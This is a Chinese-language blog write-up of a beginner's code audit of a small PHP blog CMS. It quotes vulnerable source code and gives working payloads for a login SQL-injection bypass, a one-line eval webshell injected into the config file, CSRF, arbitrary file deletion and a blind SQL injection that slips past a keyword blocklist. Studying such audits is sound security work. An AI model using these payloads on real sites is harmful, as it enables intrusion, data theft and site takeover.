浅谈代码审计入门实战:某博客系统最新版审计之旅

第一次正式的审一次CMS,虽然只是一个很小的博客系统(提交都不一定收的那种),漏洞也都很简单,但是也算是积累了不少经验,所以最后想来还是在此做个分享,博客系统的CMS就不说了,毕竟有个官网挂着。。。
缘起某日翻阅某朋友博客的时候无意间发现有个小型的CMS,反正暑假闲的无聊就去审了一下代码(正好拿来练练手),问题挺严重的,好多参数都没有进行过滤,光注入就有好多处,因为文章篇幅有限,这里就不一一列举了,这里只把我找到的漏洞中每类最典型的剖析一下。

身份验证漏洞

首先一上来就是一个很简单的洞,后台就可以万能密码绕过,问题出在这里ad/login.php先看代码

1
2
3
4
5
6
7
8
9
10
11
12
13
function jsloginpost(){
global $tabhead;
global $txtchk;
@$user=$_POST["user"];
@$psw=$_POST["psw"];$psw = authcode(@$psw, 'ENCODE', 'key',0);
@$loginlong=$_POST["loginlong"];

setcookie("lggqsj",date('Y-m-d H:i:s',time()+$loginlong), time()+60*60*24,"/; HttpOnly" , "",'');

$tab=$tabhead."adusers";
$chk=" where adnaa='".$user."' and adpss='".$psw."' ";
mysql_select_db($tab);
$sql = mysql_query("select * from ".$tab.$chk);

这里我们并没有对POST和GET参数进行过滤(一开始我还以为定义了全局过滤,结果找了半天没找到,发现根本就没有过滤)所以登陆可以直接万能密码绕过

1
2
username=qweq' or 1=1#
password=123

任意文件修改导致getshell

进了后台以后我们先大致浏览一下功能,发现这里有个修改站点信息的功能,进入后台找到相应的setconfig.php
我们先看一下大致的表单提交格式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?function save(){
global $root,$dbuser,$dbpsw,$dbname,$tabhead,$webname,$webkeywords,$webinfo,$weburl,$webauthor,$webbegindate,$pagenum,$cachepath,$date,$starttime,$themepath,$artpath,$tagpath;
$file="../cmsconfig.php";
$text = file_get_contents($file);
$text2=$text;
$text2=str_replace('"'.$weburl.'"','"'.$_POST[1].'"',$text2);
$text2=str_replace('"'.$webbegindate.'"','"'.$_POST[2].'"',$text2);
$text2=str_replace('"'.$webname.'"','"'.$_POST[3].'"',$text2);
$text2=str_replace('"'.$webkeywords.'"','"'.$_POST[4].'"',$text2);
$text2=str_replace('"'.$webinfo.'"','"'.$_POST[5].'"',$text2);
$text2=str_replace('"'.$webauthor.'"','"'.$_POST[6].'"',$text2);
$text2=str_replace('"'.$artpath.'"','"'.$_POST[7].'"',$text2);
$text2=str_replace('"'.$tagpath.'"','"'.$_POST[8].'"',$text2);
$text2=str_replace('"'.$cachepath.'"','"'.$_POST[9].'"',$text2);
?>

这里我们我们可以很容易发现它对我们的输入并没有进行任何过滤就直接替换了原文件的内容,我们追踪到源文件

所以我们可以构造一句话插入

1
";@eval($_POST['cmd']);/*


然后用菜刀链接cmsconfig.php文件

XSS

既然是博客系统,那么最重要的一定是发布文章的模块,所以我们跟进去看一下,问题出在art.php先大致看一下代码有无过滤

添加文章

1
2
3
4
5
6
7
8
<?php 
function addart(){
$_SESSION['jdate']='';$_SESSION['jid']='';
global $webauthor,$date,$weburl;
global $tabhead;
$title=$_GET['title'];
$content=$_GET['content'];
?>

这里乍一看是没有进行过滤的,接着找一下表单结构

1
2
3
4
5
6
7
8
9
10
11
12
13
<div id=addart_left>
<span id="jieguo"></span>
<form id="frm" name="frm" method="post" action="?g=editsave" >
<input name=id type=hidden value="<?=$id?>" >
<p><input style="width:400px" type=text name=title value="<?=$title?>" >文章标题,严禁特殊符号</p>
<p><input style="width:400px" name=htmlname type=text value="<?=$htmlname?>" >html别名,静态目录,严禁特殊符号</p>

<p ><input style="width:400px;" type=text name=pic id=pic_txt value="<?=$pic?>" title="您可在这里直接输入图片地址如http://www.axublog.com/logo.jpg" onchange="changepic2()" >填写缩略图网址

</p>

<p><textarea id="content" name="content" style="width:670px;height:380px;visibility:hidden;"><?=htmlspecialchars($content);?></textarea></p>
</div>

这里对$content编码进行了标签转义,检查了一下输出点后发现绕不过,想到试试别的参数,于是找到了tags参数
添加文章的函数的确没有过率,然而到保存页面的时候发现存在问题,作者自己定义了一个过滤函数

1
2
$tags=$_POST['tags'];if($tags==''){$tags=$_SESSION['tags'];}
$tags=htmlnameguolv($tags);

跟进去过滤函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
function htmlnameguolv($str){
$str = str_replace('`', '', $str);
$str = str_replace('·', '', $str);
$str = str_replace('~', '', $str);
$str = str_replace('!', '', $str);
$str = str_replace('!', '', $str);
$str = str_replace('@', '', $str);
$str = str_replace('#', '', $str);
$str = str_replace('$', '', $str);
$str = str_replace('¥', '', $str);
$str = str_replace('%', '', $str);
$str = str_replace('^', '', $str);
$str = str_replace('……', '', $str);
$str = str_replace('&', '', $str);
$str = str_replace('*', '', $str);
$str = str_replace('(', '', $str);
$str = str_replace(')', '', $str);
$str = str_replace('(', '', $str);
$str = str_replace(')', '', $str);
$str = str_replace('——', '', $str);
$str = str_replace('+', '', $str);
$str = str_replace('=', '', $str);
$str = str_replace('|', ',', $str);
$str = str_replace('\\', '', $str);
$str = str_replace('[', '', $str);
$str = str_replace(']', '', $str);
$str = str_replace('【', '', $str);
$str = str_replace('】', '', $str);
$str = str_replace('{', '', $str);
$str = str_replace('}', '', $str);
$str = str_replace(';', '', $str);
$str = str_replace(';', '', $str);
$str = str_replace(':', '', $str);
$str = str_replace(':', '', $str);
$str = str_replace('\'', '', $str);
$str = str_replace('"', '', $str);
$str = str_replace('“', '', $str);
$str = str_replace('”', '', $str);
$str = str_replace(',', ',', $str);
$str = str_replace('<', '', $str);
$str = str_replace('>', '', $str);
$str = str_replace('《', '', $str);
$str = str_replace('》', '', $str);
$str = str_replace('.', '', $str);
$str = str_replace('。', '', $str);
$str = str_replace('/', '', $str);
$str = str_replace('、', '', $str);
$str = str_replace('?', '', $str);
$str = str_replace('?', '', $str);
return $str;
}

写了一堆替换,也没想到啥绕过方法,然后又换了另一个参数title这回发现这个参数并没有进行过滤,这是在输入的时候给了个不要输入特殊字符的警告。

前台查看文章

当然这里也是存在二次注入的

CSRF

问题出在/ad/admin.php,关键代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?function add(){?>
<ul>
<li><a target="main" href='right.php'><b>您的位置:后台首页</b></a> >
<a target="main" href='admin.php'><b>管理员列表</b></a> >
<a target="main" href='admin.php?g=add'><b>添加管理员</b></a>
</li>
</ul>
</div>
<div id=adform>
<form id="frm" action="?g=addsave" method="post">
<p><input id=text type="text" name="ad_user" size=20 value="">请输入帐号</p>
<p><input id=text type="password" name="ad_psw" size=20 value="">请输入密码</p>
<p><input id=text type="password" name="ad_psw2" size=20 value="">重新输入密码</p>
<p><button id="send" onclick=submit() >添加</button></p>
</form>
</div>
<?}?>

这里并没有做相应的token认证所以可能存在csrf漏洞,我们用burp截包

这里有个小技巧可以直接用burp直接生成csrf钓鱼页面
完成后丢弃这个包,我们先看我们的管理员有几个


点击html页面的提交


再后来看我们的管理员

任意文件删除

问题处在/app/dbbackup/index.php
关键代码如下

1
2
3
4
if($g=='del'){
$p=$_REQUEST['p'];
if($p==''){echo '<script>alert("文件名为空,无法删除!");location.href="?"</script>';}
unlink($p);

这里大概看一眼就能明白,p参数可控,且没有进行过滤,所以可以直接删除任意文件,这种任意文件删除一般可以删除install.lock从而导致重装漏洞,这里这个博客系统是安装完成后自动把安装页面直接删除了,所以暂不存在该漏洞

SQL注入

问题出在hit.php,关键代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
header("Content-type:text/html; charset=utf-8");
require("cmsconfig.php");
require("class/c_other.php");
sqlguolv();

$g=$_GET['g'];


if ($g=='arthit'){
$id=$_GET['id'];
if($id!=''){

$tab=$tabhead."arts";
mysql_select_db($tab);
$sql=mysql_query("UPDATE ".$tab." SET hit=hit+1 where id=".$id);
$sql = mysql_query("select * from ".$tab." where id=".$id);
$row=mysql_fetch_array($sql);
$str=$row['hit'];
echo 'document.write('.$str.');';
}
}

?>

看到这里可能很多同学认为id是我们可控并且没有进行任何过滤的,其实作者这里是做了过滤,关键点在这里

这里引用了c_other.php的sqlguolv函数,我们跟进去看一下
关键代码

1
2
3
4
Function sqlguolv() {
header("Content-type:text/html; charset=utf-8");
if (preg_match('/select|insert|update|delete|\'|\\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/i',$_SERVER['QUERY_STRING'])==1 or preg_match('/select|insert|update|delete|\'|\\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/i',file_get_contents("php://input"))==1){echo "警告 非法访问!"; exit;}
}

这里是把$_SERVER['QUERY_STRING'])与关键字做了比较,起到了一定的过滤效果,然而过滤并不完全,我们依然可以利用盲注绕过
绕过很简单,这里就只贴一个payload了

1
hit.php?g=arthit&id=1 and ascii(mid((database()),1,1))>10

脚本懒得写了

做个总结吧,代码审计还是那2种老套路,第一是通读代码,这样的好处是可以挖掘一些逻辑漏洞,比如条件竞争之类的,第二是直接全局搜索,找关键函数,看变量是否可控,是否存在过滤balabala的,对于初学者来说个人认为最快的方法是找一篇老旧的CMS自己尝试审计一下,一般来说是前台(浏览器)找到php,后台对应找php源码看看,主抓一些危险函数及waf函数看看有没有绕过可能。